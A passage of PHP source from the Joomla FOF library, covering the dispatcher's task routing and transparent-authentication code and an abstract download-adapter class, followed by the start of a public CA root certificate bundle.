$canDispatch = true;
if ($platform->isCli())
{
$canDispatch = $canDispatch && $this->onBeforeDispatchCLI();
}
$canDispatch = $canDispatch && $this->onBeforeDispatch();
if (!$canDispatch)
{
// We can set header only if we're not in CLI
if(!$platform->isCli())
{
$platform->setHeader('Status', '403
Forbidden', true);
}
return $platform->raiseError(403,
JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));
}
// Get and execute the controller
$option = $this->input->getCmd('option',
'com_foobar');
$view = $this->input->getCmd('view',
$this->defaultView);
$task = $this->input->getCmd('task', null);
if (empty($task))
{
$task = $this->getTask($view);
}
// Pluralise/sungularise the view name for typical tasks
if (in_array($task, array('edit', 'add',
'read')))
{
$view = FOFInflector::singularize($view);
}
elseif (in_array($task, array('browse')))
{
$view = FOFInflector::pluralize($view);
}
$this->input->set('view', $view);
$this->input->set('task', $task);
$config = $this->config;
$config['input'] = $this->input;
$controller = FOFController::getTmpInstance($option, $view, $config);
$status = $controller->execute($task);
if (!$this->onAfterDispatch())
{
// We can set header only if we're not in CLI
if(!$platform->isCli())
{
$platform->setHeader('Status', '403
Forbidden', true);
}
return $platform->raiseError(403,
JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));
}
$format = $this->input->get('format', 'html',
'cmd');
$format = empty($format) ? 'html' : $format;
if ($controller->hasRedirect())
{
$controller->redirect();
}
}
/**
* Tries to guess the controller task to execute based on the view name
and
* the HTTP request method.
*
* @param string $view The name of the view
*
* @return string The best guess of the task to execute
*/
protected function getTask($view)
{
// Get a default task based on plural/singular view
$request_task = $this->input->getCmd('task', null);
$task = FOFInflector::isPlural($view) ? 'browse' :
'edit';
// Get a potential ID, we might need it later
$id = $this->input->get('id', null, 'int');
if ($id == 0)
{
$ids = $this->input->get('ids', array(),
'array');
if (!empty($ids))
{
$id = array_shift($ids);
}
}
// Check the request method
if (!isset($_SERVER['REQUEST_METHOD']))
{
$_SERVER['REQUEST_METHOD'] = 'GET';
}
$requestMethod = strtoupper($_SERVER['REQUEST_METHOD']);
switch ($requestMethod)
{
case 'POST':
case 'PUT':
if (!is_null($id))
{
$task = 'save';
}
break;
case 'DELETE':
if ($id != 0)
{
$task = 'delete';
}
break;
case 'GET':
default:
// If it's an edit without an ID or ID=0, it's really an add
if (($task == 'edit') && ($id == 0))
{
$task = 'add';
}
// If it's an edit in the frontend, it's really a read
elseif (($task == 'edit') &&
FOFPlatform::getInstance()->isFrontend())
{
$task = 'read';
}
break;
}
return $task;
}
/**
* Executes right before the dispatcher tries to instantiate and run the
* controller.
*
* @return boolean Return false to abort
*/
public function onBeforeDispatch()
{
return true;
}
/**
* Sets up some environment variables, so we can work as usually on CLI,
too.
*
* @return boolean Return false to abort
*/
public function onBeforeDispatchCLI()
{
JLoader::import('joomla.environment.uri');
JLoader::import('joomla.application.component.helper');
// Trick to create a valid url used by JURI
$this->_originalPhpScript = '';
// We have no Application Helper (there is no Application!), so I have to
define these constants manually
$option = $this->input->get('option', '',
'cmd');
if ($option)
{
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($option);
if (!defined('JPATH_COMPONENT'))
{
define('JPATH_COMPONENT', $componentPaths['main']);
}
if (!defined('JPATH_COMPONENT_SITE'))
{
define('JPATH_COMPONENT_SITE',
$componentPaths['site']);
}
if (!defined('JPATH_COMPONENT_ADMINISTRATOR'))
{
define('JPATH_COMPONENT_ADMINISTRATOR',
$componentPaths['admin']);
}
}
return true;
}
/**
* Executes right after the dispatcher runs the controller.
*
* @return boolean Return false to abort
*/
public function onAfterDispatch()
{
// If we have to log out the user, please do so now
if ($this->fofAuth_LogoutOnReturn &&
$this->_fofAuth_isLoggedIn)
{
FOFPlatform::getInstance()->logoutUser();
}
return true;
}
/**
* Transparently authenticates a user
*
* @return void
*/
public function transparentAuthentication()
{
// Only run when there is no logged in user
if (!FOFPlatform::getInstance()->getUser()->guest)
{
return;
}
// @todo Check the format
$format = $this->input->getCmd('format',
'html');
if (!in_array($format, $this->fofAuth_Formats))
{
return;
}
foreach ($this->fofAuth_AuthMethods as $method)
{
// If we're already logged in, don't bother
if ($this->_fofAuth_isLoggedIn)
{
continue;
}
// This will hold our authentication data array (username, password)
$authInfo = null;
switch ($method)
{
case 'HTTPBasicAuth_TOTP':
if (empty($this->fofAuth_Key))
{
continue 2;
}
if (!isset($_SERVER['PHP_AUTH_USER']))
{
continue 2;
}
if (!isset($_SERVER['PHP_AUTH_PW']))
{
continue 2;
}
if ($_SERVER['PHP_AUTH_USER'] != '_fof_auth')
{
continue 2;
}
$encryptedData = $_SERVER['PHP_AUTH_PW'];
$authInfo = $this->_decryptWithTOTP($encryptedData);
break;
case 'QueryString_TOTP':
$encryptedData =
$this->input->get('_fofauthentication', '',
'raw');
if (empty($encryptedData))
{
continue 2;
}
$authInfo = $this->_decryptWithTOTP($encryptedData);
break;
case 'HTTPBasicAuth_Plaintext':
if (!isset($_SERVER['PHP_AUTH_USER']))
{
continue 2;
}
if (!isset($_SERVER['PHP_AUTH_PW']))
{
continue 2;
}
$authInfo = array(
'username' => $_SERVER['PHP_AUTH_USER'],
'password' => $_SERVER['PHP_AUTH_PW']
);
break;
case 'QueryString_Plaintext':
$jsonencoded = $this->input->get('_fofauthentication',
'', 'raw');
if (empty($jsonencoded))
{
continue 2;
}
$authInfo = json_decode($jsonencoded, true);
if (!is_array($authInfo))
{
$authInfo = null;
}
elseif (!array_key_exists('username', $authInfo) ||
!array_key_exists('password', $authInfo))
{
$authInfo = null;
}
break;
case 'SplitQueryString_Plaintext':
$authInfo = array(
'username' =>
$this->input->get('_fofauthentication_username',
'', 'raw'),
'password' =>
$this->input->get('_fofauthentication_password',
'', 'raw'),
);
if (empty($authInfo['username']))
{
$authInfo = null;
}
break;
default:
continue 2;
break;
}
// No point trying unless we have a username and password
if (!is_array($authInfo))
{
continue;
}
$this->_fofAuth_isLoggedIn =
FOFPlatform::getInstance()->loginUser($authInfo);
}
}
/**
* Decrypts a transparent authentication message using a TOTP
*
* @param string $encryptedData The encrypted data
*
* @codeCoverageIgnore
* @return array The decrypted data
*/
private function _decryptWithTOTP($encryptedData)
{
if (empty($this->fofAuth_Key))
{
$this->_fofAuth_CryptoKey = null;
return null;
}
$totp = new FOFEncryptTotp($this->fofAuth_timeStep);
$period = $totp->getPeriod();
$period--;
for ($i = 0; $i <= 2; $i++)
{
$time = ($period + $i) * $this->fofAuth_timeStep;
$otp = $totp->getCode($this->fofAuth_Key, $time);
$this->_fofAuth_CryptoKey = hash('sha256',
$this->fofAuth_Key . $otp);
$aes = new FOFEncryptAes($this->_fofAuth_CryptoKey);
$ret = $aes->decryptString($encryptedData);
$ret = rtrim($ret, "\000");
$ret = json_decode($ret, true);
if (!is_array($ret))
{
continue;
}
if (!array_key_exists('username', $ret))
{
continue;
}
if (!array_key_exists('password', $ret))
{
continue;
}
// Successful decryption!
return $ret;
}
// Obviously if we're here we could not decrypt anything. Bail out.
$this->_fofAuth_CryptoKey = null;
return null;
}
/**
* Creates a decryption key for use with the TOTP decryption method
*
* @param integer $time The timestamp used for TOTP calculation, leave
empty to use current timestamp
*
* @codeCoverageIgnore
* @return string THe encryption key
*/
private function _createDecryptionKey($time = null)
{
$totp = new FOFEncryptTotp($this->fofAuth_timeStep);
$otp = $totp->getCode($this->fofAuth_Key, $time);
$key = hash('sha256', $this->fofAuth_Key . $otp);
return $key;
}
/**
* Main function to detect if we're running in a CLI environment and
we're admin
*
* @return array isCLI and isAdmin. It's not an associative array,
so we can use list.
*/
public static function isCliAdmin()
{
static $isCLI = null;
static $isAdmin = null;
if (is_null($isCLI) && is_null($isAdmin))
{
$isCLI = FOFPlatform::getInstance()->isCli();
$isAdmin = FOFPlatform::getInstance()->isBackend();
}
return array($isCLI, $isAdmin);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage dispatcher
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Abstract base class for download adapters
*/
abstract class FOFDownloadAdapterAbstract implements FOFDownloadInterface
{
public $priority = 100;
public $name = '';
public $isSupported = false;
public $supportsChunkDownload = false;
public $supportsFileSize = false;
/**
* Does this download adapter support downloading files in chunks?
*
* @return boolean True if chunk download is supported
*/
public function supportsChunkDownload()
{
return $this->supportsChunkDownload;
}
/**
* Does this download adapter support reading the size of a remote file?
*
* @return boolean True if remote file size determination is supported
*/
public function supportsFileSize()
{
return $this->supportsFileSize;
}
/**
* Is this download class supported in the current server environment?
*
* @return boolean True if this server environment supports this
download class
*/
public function isSupported()
{
return $this->isSupported;
}
/**
* Get the priority of this adapter. If multiple download adapters are
* supported on a site, the one with the highest priority will be
* used.
*
* @return boolean
*/
public function getPriority()
{
return $this->priority;
}
/**
* Returns the name of this download adapter in use
*
* @return string
*/
public function getName()
{
return $this->name;
}
/**
* Download a part (or the whole) of a remote URL and return the
downloaded
* data. You are supposed to check the size of the returned data. If
it's
* smaller than what you expected you've reached end of file. If
it's empty
* you have tried reading past EOF. If it's larger than what you
expected
* the server doesn't support chunk downloads.
*
* If this class' supportsChunkDownload returns false you should
assume
* that the $from and $to parameters will be ignored.
*
* @param string $url The remote file's URL
* @param integer $from Byte range to start downloading from. Use
null for start of file.
* @param integer $to Byte range to stop downloading. Use null to
download the entire file ($from is ignored)
* @param array $params Additional params that will be added before
performing the download
*
* @return string The raw file data retrieved from the remote URL.
*
* @throws Exception A generic exception is thrown on error
*/
public function downloadAndReturn($url, $from = null, $to = null, array
$params = array())
{
return '';
}
/**
* Get the size of a remote file in bytes
*
* @param string $url The remote file's URL
*
* @return integer The file size, or -1 if the remote server
doesn't support this feature
*/
public function getFileSize($url)
{
return -1;
}
}##
## Bundle of CA Root Certificates
##
## Certificate data from CentOS as of Oct 3 2015
##
## This is a bundle of X.509 certificates of public Certificate Authorities
## (CA). These were automatically extracted from CentOS
/etc/pki/tls/certs/ca-bundle.crt
##
## It contains the certificates in PEM format and therefore
## can be directly used with curl / libcurl / php_curl, or with
## an Apache+mod_ssl webserver for SSL client authentication.
## Just configure this file as the SSLCACertificateFile.
##
-----BEGIN CERTIFICATE-----
MIICWjCCAcMCAgGlMA0GCSqGSIb3DQEBBAUAMHUxCzAJBgNVBAYTAlVTMRgwFgYD
VQQKEw9HVEUgQ29ycG9yYXRpb24xJzAlBgNVBAsTHkdURSBDeWJlclRydXN0IFNv
bHV0aW9ucywgSW5jLjEjMCEGA1UEAxMaR1RFIEN5YmVyVHJ1c3QgR2xvYmFsIFJv
b3QwHhcNOTgwODEzMDAyOTAwWhcNMTgwODEzMjM1OTAwWjB1MQswCQYDVQQGEwJV
UzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3liZXJU
cnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0IEds
b2JhbCBSb290MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCVD6C28FCc6HrH
iM3dFw4usJTQGz0O9pTAipTHBsiQl8i4ZBp6fmw8U+E3KHNgf7KXUwefU/ltWJTS
r41tiGeA5u2ylc9yMcqlHHK6XALnZELn+aks1joNrI1CqiQBOeacPwGFVw1Yh0X4
04Wqk2kmhXBIgD8SFcd5tB8FLztimQIDAQABMA0GCSqGSIb3DQEBBAUAA4GBAG3r
GwnpXtlR22ciYaQqPEh346B8pt5zohQDhT37qw4wxYMWM4ETCJ57NE7fQMh017l9
3PR2VX2bY1QY6fDq81yx2YtCHrnAlU66+tXifPVoYb+O7AWXX1uw16OFNMQkpw0P
lZPvy5TYnh+dXIVtx6quTx8itc2VrbqnzPmrC3p/
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDEzCCAnygAwIBAgIBATANBgkqhkiG9w0BAQQFADCBxDELMAkGA1UEBhMCWkEx
FTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYD
VQQKExRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEZMBcGA1UEAxMQVGhhd3RlIFNlcnZlciBDQTEm
MCQGCSqGSIb3DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0ZS5jb20wHhcNOTYwODAx
MDAwMDAwWhcNMjAxMjMxMjM1OTU5WjCBxDELMAkGA1UEBhMCWkExFTATBgNVBAgT
DFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3
dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNl
cyBEaXZpc2lvbjEZMBcGA1UEAxMQVGhhd3RlIFNlcnZlciBDQTEmMCQGCSqGSIb3
DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0ZS5jb20wgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBANOkUG7I/1Zr5s9dtuoMaHVHoqrC2oQl/Kj0R1HahbUgdJSGHg91
yekIYfUGbTBuFRkC6VLAYttNmZ7iagxEOM3+vuNkCXDF/rFrKbYvScg71CcEJRCX
L+eQbcAoQpnXTEPew/UhbVSfXcNY4cDk2VuwuNy0e982OsK1ZiIS1ocNAgMBAAGj
EzARMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEAB/pMaVz7lcxG
7oWDTSEwjsrZqG9JGubaUeNgcGyEYRGhGshIPllDfU+VPaGLtwtimHp1it2ITk6e
QNuozDJ0uW8NxuOzRAvZim+aKZuZGCg70eNAKJpaPNW15yAbi8qkq43pUdniTCxZ
qdq5snUb9kLy78fyGPmJvKP/iiMucEc=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDJzCCApCgAwIBAgIBATANBgkqhkiG9w0BAQQFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYD
VQQKExRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAxMYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTk2MDgwMTAwMDAwMFoXDTIwMTIzMTIzNTk1OVowgc4xCzAJBgNVBAYTAlpB
MRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEdMBsG
A1UEChMUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsTH0NlcnRpZmljYXRp
b24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMTGFRoYXd0ZSBQcmVtaXVtIFNl
cnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv
bTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA0jY2aovXwlue2oFBYo847kkE
VdbQ7xwblRZH7xhINTpS9CtqBo87L+pW46+GjZ4X9560ZXUCTe/LCaIhUdib0GfQ
ug2SBhRz1JPLlyoAnFxODLz6FVL88kRu2hFKbgifLy3j+ao6hnO2RlNYyIkFvYMR
uHM/qgeN9EJN50CdHDcCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG
9w0BAQQFAAOBgQAmSCwWwlj66BZ0DKqqX1Q/8tfJeGBeXm43YyJ3Nn6yF8Q0ufUI
hfzJATj/Tb7yFkJD57taRvvBxhEf8UqwKEbJw8RCfbz6q1lu1bdRiBHjpIUZa4JM
pAwSremkrj/xw0llmozFyD4lt5SZu5IycQfwhl7tUCemDaYj+bvLpgcUQg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDIDCCAomgAwIBAgIENd70zzANBgkqhkiG9w0BAQUFADBOMQswCQYDVQQGEwJV
UzEQMA4GA1UEChMHRXF1aWZheDEtMCsGA1UECxMkRXF1aWZheCBTZWN1cmUgQ2Vy
dGlmaWNhdGUgQXV0aG9yaXR5MB4XDTk4MDgyMjE2NDE1MVoXDTE4MDgyMjE2NDE1
MVowTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVx
dWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTCBnzANBgkqhkiG9w0B
AQEFAAOBjQAwgYkCgYEAwV2xWGcIYu6gmi0fCG2RFGiYCh7+2gRvE4RiIcPRfM6f
BeC4AfBONOziipUEZKzxa1NfBbPLZ4C/QgKO/t0BCezhABRP/PvwDN1Dulsr4R+A
cJkVV5MW8Q+XarfCaCMczE1ZMKxRHjuvK9buY0V7xdlfUNLjUA86iOe/FP3gx7kC
AwEAAaOCAQkwggEFMHAGA1UdHwRpMGcwZaBjoGGkXzBdMQswCQYDVQQGEwJVUzEQ
MA4GA1UEChMHRXF1aWZheDEtMCsGA1UECxMkRXF1aWZheCBTZWN1cmUgQ2VydGlm
aWNhdGUgQXV0aG9yaXR5MQ0wCwYDVQQDEwRDUkwxMBoGA1UdEAQTMBGBDzIwMTgw
ODIyMTY0MTUxWjALBgNVHQ8EBAMCAQYwHwYDVR0jBBgwFoAUSOZo+SvSspXXR9gj
IBBPM5iQn9QwHQYDVR0OBBYEFEjmaPkr0rKV10fYIyAQTzOYkJ/UMAwGA1UdEwQF
MAMBAf8wGgYJKoZIhvZ9B0EABA0wCxsFVjMuMGMDAgbAMA0GCSqGSIb3DQEBBQUA
A4GBAFjOKer89961zgK5F7WF0bnj4JXMJTENAKaSbn+2kmOeUJXRmm/kEd5jhW6Y
7qj/WsjTVbJmcVfewCHrPSqnI0kBBIZCe/zuf6IWUrVnZ9NA2zsmWLIodz2uFHdh
1voqZiegDfqnc1zqcPGUIWVEX/r87yloqaKHee9570+sB3c4
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDKTCCApKgAwIBAgIENnAVljANBgkqhkiG9w0BAQUFADBGMQswCQYDVQQGEwJV
UzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMREwDwYDVQQL
EwhEU1RDQSBFMTAeFw05ODEyMTAxODEwMjNaFw0xODEyMTAxODQwMjNaMEYxCzAJ
BgNVBAYTAlVTMSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4x
ETAPBgNVBAsTCERTVENBIEUxMIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQCg
bIGpzzQeJN3+hijM3oMv+V7UQtLodGBmE5gGHKlREmlvMVW5SXIACH7TpWJENySZ
j9mDSI+ZbZUTu0M7LklOiDfBu1h//uG9+LthzfNHwJmm8fOR6Hh8AMthyUQncWlV
Sn5JTe2io74CTADKAqjuAQIxZA9SLRN0dja1erQtcQIBA6OCASQwggEgMBEGCWCG
SAGG+EIBAQQEAwIABzBoBgNVHR8EYTBfMF2gW6BZpFcwVTELMAkGA1UEBhMCVVMx
JDAiBgNVBAoTG0RpZ2l0YWwgU2lnbmF0dXJlIFRydXN0IENvLjERMA8GA1UECxMI
RFNUQ0EgRTExDTALBgNVBAMTBENSTDEwKwYDVR0QBCQwIoAPMTk5ODEyMTAxODEw
MjNagQ8yMDE4MTIxMDE4MTAyM1owCwYDVR0PBAQDAgEGMB8GA1UdIwQYMBaAFGp5
fpFpRhgTCgJ3pVlbYJglDqL4MB0GA1UdDgQWBBRqeX6RaUYYEwoCd6VZW2CYJQ6i
+DAMBgNVHRMEBTADAQH/MBkGCSqGSIb2fQdBAAQMMAobBFY0LjADAgSQMA0GCSqG
SIb3DQEBBQUAA4GBACIS2Hod3IEGtgllsofIH160L+nEHvI8wbsEkBFKg05+k7lN
QseSJqBcNJo4cvj9axY+IO6CizEqkzaFI4iKPANo08kJD038bKTaKHKTDomAsH3+
gG9lbRgzl4vCa4nuYD3Im+9/KzJic5PLPON74nZ4RbyhkwS7hp86W0N6w4pl
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDKTCCApKgAwIBAgIENm7TzjANBgkqhkiG9w0BAQUFADBGMQswCQYDVQQGEwJV
UzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMREwDwYDVQQL
EwhEU1RDQSBFMjAeFw05ODEyMDkxOTE3MjZaFw0xODEyMDkxOTQ3MjZaMEYxCzAJ
BgNVBAYTAlVTMSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4x
ETAPBgNVBAsTCERTVENBIEUyMIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQC/
k48Xku8zExjrEH9OFr//Bo8qhbxe+SSmJIi2A7fBw18DW9Fvrn5C6mYjuGODVvso
LeE4i7TuqAHhzhy2iCoiRoX7n6dwqUcUP87eZfCocfdPJmyMvMa1795JJ/9IKn3o
TQPMx7JSxhcxEzu1TdvIxPbDDyQq2gyd55FbgM2UnQIBA6OCASQwggEgMBEGCWCG
SAGG+EIBAQQEAwIABzBoBgNVHR8EYTBfMF2gW6BZpFcwVTELMAkGA1UEBhMCVVMx
JDAiBgNVBAoTG0RpZ2l0YWwgU2lnbmF0dXJlIFRydXN0IENvLjERMA8GA1UECxMI
RFNUQ0EgRTIxDTALBgNVBAMTBENSTDEwKwYDVR0QBCQwIoAPMTk5ODEyMDkxOTE3
MjZagQ8yMDE4MTIwOTE5MTcyNlowCwYDVR0PBAQDAgEGMB8GA1UdIwQYMBaAFB6C
TShlgDzJQW6sNS5ay97u+DlbMB0GA1UdDgQWBBQegk0oZYA8yUFurDUuWsve7vg5
WzAMBgNVHRMEBTADAQH/MBkGCSqGSIb2fQdBAAQMMAobBFY0LjADAgSQMA0GCSqG
SIb3DQEBBQUAA4GBAEeNg61i8tuwnkUiBbmi1gMOOHLnnvx75pO2mqWilMg0HZHR
xdf0CiUPPXiBng+xZ8SQTGPdXqfiup/1902lMXucKS1M/mQ+7LZT/uqb7YLbdHVL
B3luHtgZg3Pe9T7Qtd7nS2h9Qy4qIOF+oHhEngj1mPnHfxsb1gYgAlihw6ID
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIICPDCCAaUCEHC65B0Q2Sk0tjjKewPMur8wDQYJKoZIhvcNAQECBQAwXzELMAkG
A1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFz
cyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2
MDEyOTAwMDAwMFoXDTI4MDgwMTIzNTk1OVowXzELMAkGA1UEBhMCVVMxFzAVBgNV
BAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmlt
YXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUAA4GN
ADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhE
BarsAx94f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/is
I19wKTakyYbnsZogy1Olhec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0G
CSqGSIb3DQEBAgUAA4GBALtMEivPLCYATxQT3ab7/AoRhIzzKBxnki98tsX63/Do
lbwdj2wsqFHMc9ikwFPwTtYmwHYBV4GSXiHx0bH/59AhWM1pF+NEHJwZRDmJXNyc
AA9WjQKZ7aKQRUzkuxCkPfAyAw7xzvjoyVGM5mKf5p/AfbdynMk2OmufTqj/ZA1k
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDAjCCAmsCEEzH6qqYPnHTkxD4PTqJkZIwDQYJKoZIhvcNAQEFBQAwgcExCzAJ
BgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xh
c3MgMSBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcy
MTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3Jp
emVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMB4X
DTk4MDUxODAwMDAwMFoXDTI4MDgwMTIzNTk1OVowgcExCzAJBgNVBAYTAlVTMRcw
FQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMSBQdWJsaWMg
UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEo
YykgMTk5OCBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5
MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMIGfMA0GCSqGSIb3DQEB
AQUAA4GNADCBiQKBgQCq0Lq+Fi24g9TK0g+8djHKlNgdk4xWArzZbxpvUjZudVYK
VdPfQ4chEWWKfo+9Id5rMj8bhDSVBZ1BNeuS65bdqlk/AVNtmU/t5eIqWpDBucSm
Fc/IReumXY6cPvBkJHalzasab7bYe1FhbqZ/h8jit+U03EGI6glAvnOSPWvndQID
AQABMA0GCSqGSIb3DQEBBQUAA4GBAKlPww3HZ74sy9mozS11534Vnjty637rXC0J
h9ZrbWB85a7FkCMMXErQr7Fd88e2CtvgFZMN3QO8x3aKtd1Pw5sTdbgBwObJW2ul
uIncrKTdcu1OofdPvAbT6shkdHvClUGcZXNY8ZCaPGqxmMnEh7zPRW1F4m4iP/68
DzFc6PLZ
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDAzCCAmwCEQC5L2DMiJ+hekYJuFtwbIqvMA0GCSqGSIb3DQEBBQUAMIHBMQsw
CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xPDA6BgNVBAsTM0Ns
YXNzIDIgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBH
MjE6MDgGA1UECxMxKGMpIDE5OTggVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9y
aXplZCB1c2Ugb25seTEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazAe
Fw05ODA1MTgwMDAwMDBaFw0yODA4MDEyMzU5NTlaMIHBMQswCQYDVQQGEwJVUzEX
MBUGA1UEChMOVmVyaVNpZ24sIEluYy4xPDA6BgNVBAsTM0NsYXNzIDIgUHVibGlj
IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjE6MDgGA1UECxMx
KGMpIDE5OTggVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25s
eTEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazCBnzANBgkqhkiG9w0B
AQEFAAOBjQAwgYkCgYEAp4gBIXQs5xoD8JjhlzwPIQjxnNuX6Zr8wgQGE75fUsjM
HiwSViy4AWkszJkfrbCWrnkE8hM5wXuYuggs6MKEEyyqaekJ9MepAqRCwiNPStjw
DqL7MWzJ5m+ZJwf15vRMeJ5t60aG+rmGyVTyssSv1EYcWskVMP8NbPUtDm3Of3cC
AwEAATANBgkqhkiG9w0BAQUFAAOBgQByLvl/0fFx+8Se9sVeUYpAmLho+Jscg9ji
nb3/7aHmZuovCfTK1+qlK5X2JGCGTUQug6XELaDTrnhpb3LabK4I8GOSN+a7xDAX
rXfMSTWqz9iP0b63GJZHc2pUIjRkLbYWm1lbtFFZOrMLFPQS32eg9K0yZF6xRnIn
jBJ7xUS0rg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDAjCCAmsCEH3Z/gfPqB63EHln+6eJNMYwDQYJKoZIhvcNAQEFBQAwgcExCzAJ
BgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xh
c3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcy
MTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3Jp
emVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMB4X
DTk4MDUxODAwMDAwMFoXDTI4MDgwMTIzNTk1OVowgcExCzAJBgNVBAYTAlVTMRcw
FQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMyBQdWJsaWMg
UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEo
YykgMTk5OCBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5
MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMIGfMA0GCSqGSIb3DQEB
AQUAA4GNADCBiQKBgQDMXtERXVxp0KvTuWpMmR9ZmDCOFoUgRm1HP9SFIIThbbP4
